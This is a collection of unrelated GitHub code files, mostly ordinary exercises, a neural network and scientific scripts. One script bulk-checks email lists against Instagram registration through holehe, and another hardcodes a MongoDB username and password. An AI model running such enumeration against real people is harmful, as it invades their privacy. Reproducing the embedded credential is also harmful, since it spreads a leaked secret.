cor.append(\"Aire = $%s \\\\times %s$ = $%s$ \\\\newline\" % (longueur,longueur,longueur*longueur))\n cor.append(\"Aire = $\\\\boxed{\\\\unit[%s]{%s}}$\" % (longueur*longueur,uniteAire[unite]))\n return (exo, cor, question)\n\ndef Rectangle(parametre):\n question = \"Calculer l\\'aire du rectangle :\"\n exo = []\n cor = []\n (longueur,largeur,unite) = dimension()\n tex_rectangle(exo,longueur,largeur,unite)\n tex_rectangle(cor,longueur,largeur,unite)\n cor.append(\"Aire = $\\\\text{Longueur} \\\\times \\\\text{largeur}$ \\\\newline\")\n cor.append(\"Aire = $%s \\\\times %s$ = $%s$ \\\\newline\" % (longueur,largeur,longueur*largeur))\n cor.append(\"Aire = $\\\\boxed{\\\\unit[%s]{%s}}$\" % (longueur*largeur,uniteAire[unite]))\n return (exo, cor, question)\n\ndef TriangleRectangle(parametre):\n question = \"Calculer l\\'aire du triangle rectangle :\"\n exo = []\n cor = []\n (base,hauteur,unite) = dimension()\n tex_triangle_rectangle(exo,base,hauteur,unite)\n tex_triangle_rectangle(cor,base,hauteur,unite)\n cor.append(\"Aire = $(\\\\text{Base} \\\\times \\\\text{hauteur}) \\\\div 2$ \\\\newline\")\n cor.append(\"Aire = $( %s \\\\times %s ) \\\\div 2$ \\\\newline\" % (base,hauteur))\n cor.append(\"Aire = $%s \\\\div 2$ \\\\newline\" % (base*hauteur))\n cor.append(\"Aire = $\\\\boxed{\\\\unit[%s]{%s}}$\" % (float(base*hauteur)/2,uniteAire[unite]))\n return (exo, cor, question)\n\ndef Disque(parametre):\n question = u\"Calculer l\\'aire du disque ($\\\\pi \\\\approx 3$) :\"\n exo = []\n cor = []\n rayon = random.randrange(2,10)\n unite = random.randrange(7)\n tex_disque(exo,rayon,unite)\n tex_disque(cor,rayon,unite)\n cor.append(\"Aire = $\\\\pi \\\\times \\\\text{rayon} \\\\times \\\\text{rayon}$ \\\\newline\")\n cor.append(\"Aire $ \\\\approx 3 \\\\times %s \\\\times %s$ \\\\newline\" % (rayon,rayon))\n cor.append(\"Aire $ \\\\approx \\\\boxed{\\\\unit[%s]{%s}}$\" % (rayon*rayon*3,uniteAire[unite]))\n return (exo, cor, question)\n\ndef Comptage(parametre):\n question = \"Donne l\\'aire du rectangle bleu :\"\n exo = []\n cor = []\n (dimension_grille,taille_grille,dimension_unite,nombre_unite,unite,dimension_figure) = parametre_comptage()\n tex_comptage(exo,dimension_grille,taille_grille,dimension_unite,nombre_unite,unite,dimension_figure)\n tex_comptage(cor,dimension_grille,taille_grille,dimension_unite,nombre_unite,unite,dimension_figure)\n nombrepavage= (dimension_figure[0]*dimension_figure[1])/(dimension_unite[0]*dimension_unite[1])\n cor.append(u\"Il y a %s rectangles rouges dans le rectangle bleu \\\\newline\" % nombrepavage)\n cor.append(\"Aire = $%s \\\\times %s$ = $\\\\boxed{\\\\unit[%s]{%s}}$\" % (nombrepavage,nombre_unite,nombrepavage*nombre_unite,uniteAire[unite]))\n return (exo, cor, question)\n","repo_name":"jbreizh/actimaths","sub_path":"src/actimaths/exercices_actimaths/sixieme_grandeurMesure_aire.py","file_name":"sixieme_grandeurMesure_aire.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"2500893274","text":"#!/usr/bin/python3\n\"\"\"\n5-text_indentation.py\nA function that prints a text with 2 new lines\nafter each of these characters: ., ? and :\n \"\"\"\n\n\ndef text_indentation(text):\n \"\"\"\n parametet:\n text\n \"\"\"\n if type(text) is not str:\n raise TypeError(\"text must be a string\")\n new_text = text.replace(\".\", \".\\n\\n\")\n new_text = new_text.replace(\"?\", \"?\\n\\n\")\n new_text = new_text.replace(\":\", \":\\n\\n\")\n new_line = []\n for line in new_text.split(\"\\n\"):\n new_line.append(line.strip(\" \"))\n print_text = \"\\n\".join(new_line)\n print(print_text, end=\"\")\n","repo_name":"DanielOladimeji/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34657758519","text":"#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom .seq2list import seq2list\r\nfrom .aa2idx import aa2idx\r\nfrom .ij2inds import ij2inds\r\nimport numpy as np\r\n\r\ndef mask2vec_count(xseq, mask=[2,1,2], defSize=20):\r\n t = mask[0] + mask[1] + mask[2]\r\n slice = seq2list(xseq, int(t))\r\n xy = np.array([aa2idx(slice[:,0:mask[0]],defSize),\r\n aa2idx(slice[:,t-(mask[2]):t],defSize)]).T\r\n lines = defSize**mask[0]\r\n inds = ij2inds(xy,lines)\r\n cols = defSize**mask[2]\r\n M = np.zeros((1,lines*cols),dtype=int)\r\n rows_size = defSize**mask[0]*defSize**mask[2]\r\n inds=inds[inds<=rows_size]\r\n inds,counts=np.unique(inds,\r\n return_index=False,\r\n return_inverse=False,\r\n return_counts=True,\r\n axis=None)\r\n M[0,inds-1]=counts\r\n return M\r\n","repo_name":"diogomachado-bioinfo/sweep","sub_path":"sweep/sweep_support/mask2vec_count.py","file_name":"mask2vec_count.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31966260193","text":"import numpy as np\nimport dataloader as dl\n\n'''\nshrek\n⢀⡴⠑⡄⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ \n⠸⡇⠀⠿⡀⠀⠀⠀⣀⡴⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠑⢄⣠⠾⠁⣀⣄⡈⠙⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⢀⡀⠁⠀⠀⠈⠙⠛⠂⠈⣿⣿⣿⣿⣿⠿⡿⢿⣆⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⢀⡾⣁⣀⠀⠴⠂⠙⣗⡀⠀⢻⣿⣿⠭⢤⣴⣦⣤⣹⠀⠀⠀⢀⢴⣶⣆ \n⠀⠀⢀⣾⣿⣿⣿⣷⣮⣽⣾⣿⣥⣴⣿⣿⡿⢂⠔⢚⡿⢿⣿⣦⣴⣾⠁⠸⣼⡿ \n⠀⢀⡞⠁⠙⠻⠿⠟⠉⠀⠛⢹⣿⣿⣿⣿⣿⣌⢤⣼⣿⣾⣿⡟⠉⠀⠀⠀⠀⠀ \n⠀⣾⣷⣶⠇⠀⠀⣤⣄⣀⡀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ \n⠀⠉⠈⠉⠀⠀⢦⡈⢻⣿⣿⣿⣶⣶⣶⣶⣤⣽⡹⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠀⠀⠀⠉⠲⣽⡻⢿⣿⣿⣿⣿⣿⣿⣷⣜⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣷⣶⣮⣭⣽⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠀⠀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ \n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⠿⠿⠿⠛⠉\n'''\n\n\nclass Neuron:\n def __init__(self, sig_type=\"arctanupper\", input_list=[], out=None, random_wages=False):\n if out is not None:\n self.firstlayer = True\n self.outval = out # Value that exits neuron\n else: \n self.firstlayer = False\n self.ilist = input_list # List of variables from layer behind\n if not random_wages:\n self.wlist = [1 for _ in range(len(input_list))] # List of weights for every neuron behind\n if random_wages:\n self.wlist = list(np.random.uniform(-1, 1, len(input_list)))\n self.neuronbias = 0 \n self.outfunc = self.activation_function(sig_type) # Choosing type of out function\n self.out = None\n self.outval = None\n self.gradvector = [0 for _ in range(len(self.ilist)+1)] # Errors for all weights in wlist and last element is error for neurobias\n self.lgradvector = [0 for _ in range(len(self.ilist)+1)]\n self.grad = 0 # wpływ zmiany tego neuronu na wynik\n\n def activation_function(self, which_one):\n # select activation function\n def arctan(x):\n return np.arctan(x) / (np.pi / 2)\n\n def linear(x):\n return x\n\n def RELUarctan(x):\n return max(0, np.arctan(x) / (np.pi / 2))\n\n def RELUlinear(x):\n return max(0, x)\n\n def arctanupper(x):\n return np.arctan(x) / np.pi + 1 / 2\n\n def sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n if which_one == \"arctanupper\":\n return arctanupper\n elif which_one == \"arctan\":\n return arctan\n elif which_one == \"linear\":\n return linear\n elif which_one == \"RELUarctan\":\n return RELUarctan\n elif which_one == \"RELUlinear\":\n return RELUlinear\n elif which_one == \"sigmoid\":\n return sigmoid\n else:\n raise NotImplementedError(f\"{which_one} is not a valid activation function.\")\n\n def calc_out(self):\n # basic functionality called when doing a forward propagation\n out = 0\n num_imputs = len(self.ilist)\n for i in range(num_imputs):\n out += self.ilist[i]*self.wlist[i]\n out += self.neuronbias\n self.out = out\n self.outval = self.outfunc(out)\n\n def set_new_ilist(self, input_list):\n # set new input list\n if len(input_list) == len(self.ilist):\n self.ilist = input_list\n else:\n raise ValueError(\"New input list doesn't have same number of inputs.\")\n\n def get_outval(self):\n # return the value of neutron\n return self.outval\n\n def is_first(self):\n # tells whether this neutron is part of the first layer\n return self.firstlayer\n\n def show(self):\n # prints value of neutron\n print(self.outval, end=\"\")\n\n\nclass Layer:\n def __init__(self, input_table, first=False, num_neurons=16, outfunc_type=\"arctanupper\"):\n self.first = first\n if first:\n self.neurons = [Neuron(out=x, sig_type=outfunc_type) for x in input_table]\n elif not first:\n self.neurons = [Neuron(input_list=input_table, sig_type=outfunc_type, random_wages=True) for _ in range(num_neurons)]\n\n def create_out_list(self):\n # basic functionality, called in forward propagation, returning inputs for the next layer\n output = []\n for neuron in self.neurons:\n if not neuron.is_first():\n neuron.calc_out()\n output.append(neuron.get_outval())\n return output\n\n def update_inputs(self, input_table):\n # updates the inputs of this layer\n if not self.first:\n for n in self.neurons:\n n.set_new_ilist(input_table)\n else:\n for i, n in enumerate(self.neurons):\n n.outval = input_table[i]\n\n def show(self):\n # prints values of neurons\n for n in self.neurons:\n n.show()\n print(\"\", end=\" \")\n\n\nclass Network:\n def __init__(self, input):\n self.layers = []\n self.layers.append(Layer(input, first=True))\n self.layers.append(Layer(self.layers[-1].create_out_list(), num_neurons=256))\n self.layers.append(Layer(self.layers[-1].create_out_list(), num_neurons=32))\n self.layers.append(Layer(self.layers[-1].create_out_list(), num_neurons=10, outfunc_type=\"linear\"))\n self.out = self.layers[-1].create_out_list()\n\n def forward_prop(self):\n # forward propagation\n for i in range(len(self.layers)-1):\n self.layers[i+1].update_inputs(self.layers[i].create_out_list())\n self.out = self.layers[-1].create_out_list()\n\n def set_input(self, input):\n # puts a 1D list of an image's pixel into object\n self.layers[0].update_inputs(input)\n\n def get_out(self):\n # returns list of the output neurons\n return self.out\n\n def predict(self, image):\n # predicts what digit is present on the given image\n self.set_input(image)\n self.forward_prop()\n return np.argmax(self.out)\n\n def backward_prop(self, answers):\n # backward propagation\n def activation_derivative(x, which_one=\"arctanupper\"):\n # derivatives of the activation functions\n if which_one == \"arctanupper\":\n return 1 / (np.pi * (1 + x ** 2))\n elif which_one == \"arctan\":\n return 2 / (np.pi * (1 + x ** 2))\n elif which_one == \"linear\":\n return 1\n elif which_one == \"sigmoid\":\n return (np.exp(-x)) / ((np.exp(-x) + 1) ** 2)\n else:\n raise NotImplementedError(f\"{which_one} is not a valid activation function derivative.\")\n\n def cost_func_derivative(supposed, answer):\n # derivative of the cost function\n return 2 * (supposed - answer)\n\n # calculates the gradients of weights and bias for every neuron in last layer\n for n, neuron in enumerate(self.layers[-1].neurons): # for every neuron in last layer:\n neuron.grad = cost_func_derivative(neuron.outval, answers[n]) # calculate influence of this neuron for cost function\n for g, gradient in enumerate(neuron.ilist): # for every weight in neuron:\n neuron.gradvector[g] += gradient * activation_derivative(neuron.out, \"linear\") * neuron.grad # calculate way of steepest growth (element of gradient)\n neuron.gradvector[-1] += activation_derivative(neuron.out, \"linear\") * neuron.grad # calculate way of steepest growth of bias\n\n # calculates the gradients of weights and bias for every neuron between first and last layer\n for l in range(len(self.layers)-2, 0, -1): # for every hidden layer\n parent_layer = self.layers[l+1]\n for n, neuron in enumerate(self.layers[l].neurons): # for every neuron in each layer\n grad_sum = 0\n for p_neuron in parent_layer.neurons: # calculate influence of this neuron for cost function\n grad_sum += p_neuron.wlist[n] * activation_derivative(p_neuron.out) * p_neuron.grad\n neuron.grad = grad_sum\n for g, gradient in enumerate(neuron.ilist): # for every weight in neuron:\n neuron.gradvector[g] += gradient * activation_derivative(neuron.out) * neuron.grad # calculate way of steepest growth (element of gradient)\n neuron.gradvector[-1] += activation_derivative(neuron.out) * neuron.grad # calculate way of steepest growth of bias\n \n def update_weights(self, batch_size, beta, gamma):\n # updates the weights of all valid neurons with a gradient calculated by backward propagation\n for i in range(1, len(self.layers)):\n for neuron in self.layers[i].neurons:\n for iterator in range(len(neuron.wlist)):\n neuron.wlist[iterator] -= (neuron.gradvector[iterator] / batch_size) * beta + gamma * ((neuron.lgradvector[iterator] / batch_size) * beta)\n neuron.neuronbias -= (neuron.gradvector[-1] / batch_size) * beta + gamma * ((neuron.lgradvector[-1] / batch_size) * beta)\n neuron.lgradvector = neuron.gradvector\n neuron.gradvector = [0 for _ in range(len(neuron.ilist)+1)]\n\n def train(self, data, epochs_amount, batch_size=32, beta=0.01, epsilon=0.001, gamma=0.75):\n # trains a model with a given train dataset and parameters, saving progress, list of out neurons values and the weights and bias of the first of neurons present in the last layer\n # minimalization is using mini-batch gradient descent with momentum\n # beta - learning rate, epsilon - accepted error, gamma - momentum parameter\n for epoch in range(epochs_amount):\n loss_value = 0\n np.random.shuffle(data)\n dl.append_log(\"log.txt\", f\"Epoch {epoch}, Data Length: {len(data)}\")\n for i, pair in enumerate(data):\n img = pair[0]\n label = pair[1]\n self.set_input(img)\n self.forward_prop()\n answer = [0 for _ in range(10)]\n answer[label] = 1\n loss_value += sum([(self.out[i] - answer[i])**2 for i in range(len(answer))])\n self.backward_prop(answer)\n if i % batch_size == 0 and i != 0 or i == len(data):\n self.update_weights(batch_size, beta, gamma)\n loss_value /= batch_size\n dl.append_log(\"log.txt\", f\"Batch finished. Elements to go: {len(data)-i} loss in batch: {loss_value}\")\n dl.append_log(\"log.txt\", f\"Out: {self.get_out()}\")\n dl.append_log(\"log.txt\", f\"first neuron weights: {self.layers[-1].neurons[0].wlist}\\nfirst neuron bias: {self.layers[-1].neurons[0].neuronbias}\\n\")\n if loss_value < epsilon:\n break\n loss_value = 0\n\n def test(self, data):\n # tests the accuracy of a trained model on a given test data\n accuracy = 0\n for i, d in enumerate(data):\n self.set_input(d[0])\n self.forward_prop()\n if np.argmax(self.out) == d[1]:\n accuracy += 1\n if (i+1) % 100 == 0:\n dl.append_log(\"log.txt\", f\"{accuracy} / {i+1}\")\n dl.append_log(\"log.txt\", f\"Accuracy: {accuracy*100/len(data)}%\")\n","repo_name":"BurnedOliveTree/NeuralNetwork","sub_path":"neonetwork.py","file_name":"neonetwork.py","file_ext":"py","file_size_in_byte":12574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31767896903","text":"# 1번 문제\r\n'''\r\ndef is_odd(number):\r\n if number %2 == 1:\r\n return True\r\n else:\r\n return False\r\nprint(is_odd(3))\r\n'''\r\n\r\n#4번 문제\r\n# 답 : 3번 : , 를 사용하면 띄어쓰기가 된다.\r\n\r\n#6번 문제\r\n\r\nuser_input = input(\"저장할 내용을 입력하세요:\")\r\nf = open('test.txt', 'a')\r\nf.write(user_input)\r\nf.write(\"\\n\")\r\nf.close()","repo_name":"jeong-min-oh/Python-Coding-Practice","sub_path":"준님과 코딩공부/chap4/practice question.py","file_name":"practice question.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39403472828","text":"#This is my frist python program, be kind with me plz\nimport trio\nimport httpx\nimport string\nimport os\nfrom termcolor import colored\nfrom holehe.modules.social_media.instagram import instagram\n\nprint(colored('======================================================', 'yellow'))\nprint(colored('[!] Be sure to have downloaded holehe before run this.', 'yellow'))\nprint(colored('[!] >>> https://github;com/megadose/holehe', 'yellow'))\nprint(colored('======================================================', 'yellow'))\nprint(colored('= = / _ \\_ __ _ _ __| | ___ _ __ ___ ___ = =', 'yellow'))\nprint(colored('= = / /_)/ __| | | |/ _` |/ _ \\ _ \\ / __/ _ \\ = =', 'yellow'))\nprint(colored('= = / ___/| | | |_| | (_| | __/ | | | (_| __/ = =', 'yellow'))\nprint(colored('= = \\/ |_| \\__,_|\\__,_|\\___|_| |_|\\___\\___| = =', 'yellow'))\nprint(colored('======================================================', 'yellow'))\nprint(colored('Made by aet in July 2021 -- https://github.com/novitae', 'yellow'))\nprint(colored('S/o https://githhub.com/megadose for the module holehe', 'yellow'))\nprint(colored('======================================================', 'yellow'))\n\n#Choosing the program between simple email lookup or list of email lookup\nprogramchoice = input(colored('[1] - Single email lookup\\n[2] - List of email lookup\\n[3] - I have an error message\\n >>> ', 'yellow'))\n\n#Stopping the program if the int(input) is < than 1 or > than 2\nif int(programchoice) > 3:\n print(colored('Invalid choice', 'red'))\nif int(programchoice) < 1:\n print(colored('Invalid choice', 'red'))\n\n#Launching the first program\nif int(programchoice) == 1:\n email = input(colored('Enter the email adress.\\n >>> ', 'yellow'))\n print(colored('\\nResult (True = is used on Instagram - False = is not used on Instagram):\\n', 'yellow'))\n #Using holehe module\n\n async def main():\n out = []\n client = httpx.AsyncClient()\n await instagram(email, client, out)\n\n #Writing down the raw result in a temporary txt file\n with open('out.txt', 'w') as txt:\n print(out, file=txt)\n\n await client.aclose()\n\n trio.run(main)\n\n #Clear the raw file to get only the True or False response\n tri = open('out.txt', 'rt')\n for line in tri:\n entri = (line.replace(\"[{'name': 'instagram', 'domain': 'instagram.com', 'method': 'register', 'frequent_rate_limit': True, 'rateLimit': False, 'exists': \", ''))\n triade = (entri.replace(\", 'emailrecovery': None, 'phoneNumber': None, 'others': None}]\", ''))\n print(email + ' = ' + triade)\n\n #Deleting temporary txt file\n os.remove('out.txt')\n\n#Launching the second program\nif int(programchoice) == 2:\n print(colored('Paste the path to your email list.', 'yellow'))\n print(colored('[!] Delete every spaces in the name of the file,', 'red'))\n print(colored('[!] or/and at the end of the path.', 'red'))\n file = input(colored(' >>> ', 'yellow'))\n print(colored('\\nResults (True = is used on Instagram - False = is not used on Instagram):\\n', 'yellow'))\n with open(file, 'r') as f:\n #Making the program running in loop for each lines\n for line in f:\n email = line.rstrip()\n #Using holehe module\n async def main():\n out = []\n client = httpx.AsyncClient()\n\n await instagram(email, client, out)\n #Writing down the raw result in a temporary txt file\n with open('out.txt', 'w') as txt:\n print(out, file=txt)\n\n await client.aclose()\n\n trio.run(main)\n\n tri = open('out.txt', 'rt')\n #Making some clear in the raw file response (just keeping the \"True\" or \"False\" of the 'exists:'\n for line in tri:\n entri = (line.replace(\"[{'name': 'instagram', 'domain': 'instagram.com', 'method': 'register', 'frequent_rate_limit': True, 'rateLimit': False, 'exists': \", ''))\n triade = (entri.replace(\", 'emailrecovery': None, 'phoneNumber': None, 'others': None}]\", ''))\n print(email + ' = ' + triade)\n \n #Deleting \"out.txt\" file\n os.remove('out.txt')\n\n#Launching the third program (help)\nerrorlist = (colored(\"[Error #1]:\\n Getting as result :\\nemail = [{'name': 'instagram', 'domain': 'instagram.com', 'method': 'register', 'frequent_rate_limit': True, 'rateLimit': True, 'exists': False' instead of 'email = True / False\\n\\n[Solution #1] You used to many time the program and Instagram blocked your Ip to get these informations :/\\n==> Wait and try again later.\", 'blue'))\n\nif int(programchoice) == 3:\n print(errorlist)\n","repo_name":"Uionto/Prudence","sub_path":"prudence.py","file_name":"prudence.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31142878260","text":"from pycoingecko import CoinGeckoAPI\ncg = CoinGeckoAPI()\nimport json\nfrom datetime import datetime\n\nfrom pymongo import MongoClient\nimport csv\nimport pandas as pd\nfrom pprint import pprint\n\n# code moodle jfk5fm\ndef get_database():\n # CONNECTION_STRING = \"mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+1.6.1\"\n CONNECTION_STRING = \"mongodb+srv://lydia:1234@cluster0.y5rw0az.mongodb.net\"\n client = MongoClient(CONNECTION_STRING)\n return client\n \nmyclient = get_database()\nmydb = myclient[\"ProjectBase\"]\ncollection_name = mydb[\"projectCollection\"]\n# print(mydb)\n# print(collection_name)\n\n\n\"\"\"\nLes cryptos qui nous interessent : \n Bitcoin\n Wrapped Bitcoin\n PAX Gold\n Tether Gold\n Lido Staked Ether\n Maker\n Monero\n Quant\n Bitcoin Cash\n Litecoin\n\nLes indices qu'on va suivre:\n l'historique du prix d'une crypto sur un mois\n les differnets changement sur 1h 24h 7j\n les prix sont en dollars\n pttr ajouter le min et le max des prix\n\"\"\"\n\n\n\n#data = cg.get_coin_history_by_id(id='bitcoin',date='10-11-2020', localization='false')\n\n# Cette requete va nous servire surtt pour les update et le real time\n# \"\"\"'bitcoin', 'wrapped-bitcoin','staked-ether', 'pax-gold','tether-gold','maker', 'monero',, 'quant-network','bitcoin-cash', 'litecoin'\"\"\"\nlistCrypto = ['bitcoin', 'wrapped-bitcoin','staked-ether', 'pax-gold','tether-gold','maker', 'monero']\ndata = {}\nfor crypto in listCrypto:\n data = cg.get_price(ids=crypto, vs_currencies='usd', include_market_cap='true', include_24hr_vol='true', include_24hr_change='true', include_last_updated_at='true')\n data['crypto_data'] = data[crypto]\n data['_id'] = crypto\n data['usd'] = data['crypto_data']['usd'] \n data['usd_market_cap'] = data['crypto_data']['usd_market_cap'] \n data['usd_24h_vol'] = data['crypto_data']['usd_24h_vol']\n data['usd_24h_change'] = data['crypto_data']['usd_24h_change']\n data['last_updated_at'] = data['crypto_data']['last_updated_at']\n # data['crypto_data'][\"id_crypto\"] = crypto\n del(data[crypto])\n del(data['crypto_data'])\n\n # data.append(cg.get_coin_history_by_id(id=crypto, localization='false', date = '30-04-2021',vs_currency='usd'))\n historical__ = cg.get_coin_market_chart_by_id(id=crypto,vs_currency='usd',days='47')\n for price in historical__['prices']:\n a = datetime.fromtimestamp(price[0]/1000)\n price[0] = a\n data[\"prices\"]= historical__['prices']\n print(data)\n collection_name.insert_one(data)\n print(crypto)\n \n # with open(crypto+\".json\", \"w\") as fp:\n # json.dump(data, fp, default = str, indent = 4)\n # break\n\n\n# To filter \n# db.projectCollection.find({\"crypto_data.id_crypto\":\"bitcoin\"})\n\n","repo_name":"LydiaOuam/architeture_bdd","sub_path":"api_init_.py","file_name":"api_init_.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2023821939","text":"# Input arguments flag\nimport sys\nsys.path.append('..')\n_, *flag = sys.argv\n\n# Parse arguments\nimport argparse\nparser = argparse.ArgumentParser(prog='hs_frequency', description='Compute and plot actions for x any y planes')\nparser.add_argument('--unit', choices=('m', 'mm', 'mk'), help='amplitude units', default='m')\nparser.add_argument('--clean', action='store_true', help='flag to clean frequency data')\nparser.add_argument('--factor', type=float, help='threashold factor', default=5.0)\nparser.add_argument('--plot', action='store_true', help='flag to plot data')\nparser.add_argument('-H', '--harmonica', action='store_true', help='flag to use harmonica PV names for input')\nparser.add_argument('--device', choices=('cpu', 'cuda'), help='data device', default='cpu')\nparser.add_argument('--dtype', choices=('float32', 'float64'), help='data type', default='float64')\nparser.add_argument('-u', '--update', action='store_true', help='flag to update harmonica PV')\nargs = parser.parse_args(args=None if flag else ['--help'])\n\n# Import\nimport epics\nimport numpy\nimport pandas\nimport torch\nfrom datetime import datetime\nfrom harmonica.window import Window\nfrom harmonica.data import Data\nfrom harmonica.frequency import Frequency\nfrom harmonica.decomposition import Decomposition\nfrom harmonica.model import Model\nfrom harmonica.table import Table\nfrom harmonica.twiss import Twiss\n\n# Time\nTIME = datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n\n# Check and set device & data type\ndtype = {'float32': torch.float32, 'float64': torch.float64}[args.dtype]\ndevice = args.device\nif device == 'cuda' and not torch.cuda.is_available():\n exit(f'error: CUDA is not avalible')\n\n# Amplitude factor\nfactor = {'m':1.0E+0, 'mm':1.0E-2, 'mk':1.0E-6}[args.unit]\n\n# Load monitor data\nname = epics.caget('H:MONITOR:LIST')[:epics.caget('H:MONITOR:COUNT')]\nflag = torch.tensor(epics.caget_many([f'H:{name}:FLAG' for name in name]), dtype=torch.int64, device=device)\n\n# Load x frequency data\nvalue_nux = torch.tensor(epics.caget('H:FREQUENCY:VALUE:X'), dtype=dtype, device=device)\nerror_nux = torch.tensor(epics.caget('H:FREQUENCY:ERROR:X'), dtype=dtype, device=device)\n\n# Load y frequency data\nvalue_nuy = torch.tensor(epics.caget('H:FREQUENCY:VALUE:Y'), dtype=dtype, device=device)\nerror_nuy = torch.tensor(epics.caget('H:FREQUENCY:ERROR:Y'), dtype=dtype, device=device)\n\n# Load x amplitude data\nvalue_ax = factor*torch.tensor(epics.caget_many([f'H:{name}:AMPLITUDE:VALUE:X' for name in name]), dtype=dtype, device=device)\nerror_ax = factor*torch.tensor(epics.caget_many([f'H:{name}:AMPLITUDE:ERROR:X' for name in name]), dtype=dtype, device=device)\n\n# Load y amplitude data\nvalue_ay = factor*torch.tensor(epics.caget_many([f'H:{name}:AMPLITUDE:VALUE:Y' for name in name]), dtype=dtype, device=device)\nerror_ay = factor*torch.tensor(epics.caget_many([f'H:{name}:AMPLITUDE:ERROR:Y' for name in name]), dtype=dtype, device=device)\n\n# Load x phase data\nvalue_fx = torch.tensor(epics.caget_many([f'H:{name}:PHASE:VALUE:X' for name in name]), dtype=dtype, device=device)\nerror_fx = torch.tensor(epics.caget_many([f'H:{name}:PHASE:ERROR:X' for name in name]), dtype=dtype, device=device)\n\n# Load y phase data\nvalue_fy = torch.tensor(epics.caget_many([f'H:{name}:PHASE:VALUE:Y' for name in name]), dtype=dtype, device=device)\nerror_fy = torch.tensor(epics.caget_many([f'H:{name}:PHASE:ERROR:Y' for name in name]), dtype=dtype, device=device)\n\n# Set model\nmodel = Model(path='../config.yaml', dtype=dtype, device=device)\nmodel.flag[model.monitor_index] = flag\n\n# Set table\ntable = Table(name, value_nux, value_nuy, value_ax, value_ay, value_fx, value_fy,\n error_nux, error_nuy, error_ax, error_ay, error_fx, error_fy,\n dtype=dtype, device=device)\n\n# Set twiss\ntwiss = Twiss(model, table)\n\n# Compute actions\ntwiss.get_action(data_threshold={'use': args.clean, 'factor': args.factor})\n\n# Set data for each monitor\nvalue_jx, error_jx = twiss.action['jx'].cpu().numpy(), twiss.action['sigma_jx'].cpu().numpy()\nvalue_jy, error_jy = twiss.action['jy'].cpu().numpy(), twiss.action['sigma_jy'].cpu().numpy()\n\n# Set processed data\ncenter_jx, spread_jx = twiss.action['center_jx'].cpu().numpy(), twiss.action['spread_jx'].cpu().numpy()\ncenter_jy, spread_jy = twiss.action['center_jy'].cpu().numpy(), twiss.action['spread_jy'].cpu().numpy()\n\n# Set mask\nmask_x, mask_y = twiss.action['mask']\nmask_x, mask_y = mask_x.logical_not().cpu().numpy(), mask_y.logical_not().cpu().numpy()\n\n# Plot\nif args.plot:\n df = pandas.DataFrame()\n df['BPM'] = name\n df['JX'] = value_jx\n df['SIGMA_JX'] = error_jx\n df['JY'] = value_jy\n df['SIGMA_JY'] = error_jy\n from plotly.subplots import make_subplots\n from plotly.express import scatter\n plot = make_subplots(rows=2, cols=1, vertical_spacing=0.1, subplot_titles=(f'JX: {center_jx:9.6}, SIGMA_JX: {spread_jx:9.6}', f'JY: {center_jy:12.9}, SIGMA_JY: {spread_jy:12.9}'))\n plot.update_layout(title_text=f'{TIME}: ACTION')\n pltx = scatter(df, x='BPM', y='JX', error_y='SIGMA_JX', color_discrete_sequence=['blue'], hover_data=['BPM', 'JX', 'SIGMA_JX'])\n pltx.update_traces(marker={'size': 10})\n plty = scatter(df, x='BPM', y='JY', error_y='SIGMA_JY', color_discrete_sequence=['blue'], hover_data=['BPM', 'JY', 'SIGMA_JY'])\n plty.update_traces(marker={'size': 10})\n pltx, *_ = pltx.data\n plty, *_ = plty.data\n plot.add_trace(pltx, row=1, col=1)\n plot.add_trace(plty, row=2, col=1)\n plot.update_xaxes(title_text='BPM', row=1, col=1)\n plot.update_xaxes(title_text='BPM', row=2, col=1)\n plot.update_yaxes(title_text='JX', row=1, col=1)\n plot.update_yaxes(title_text='JY', row=2, col=1)\n plot.add_hline(center_jx - 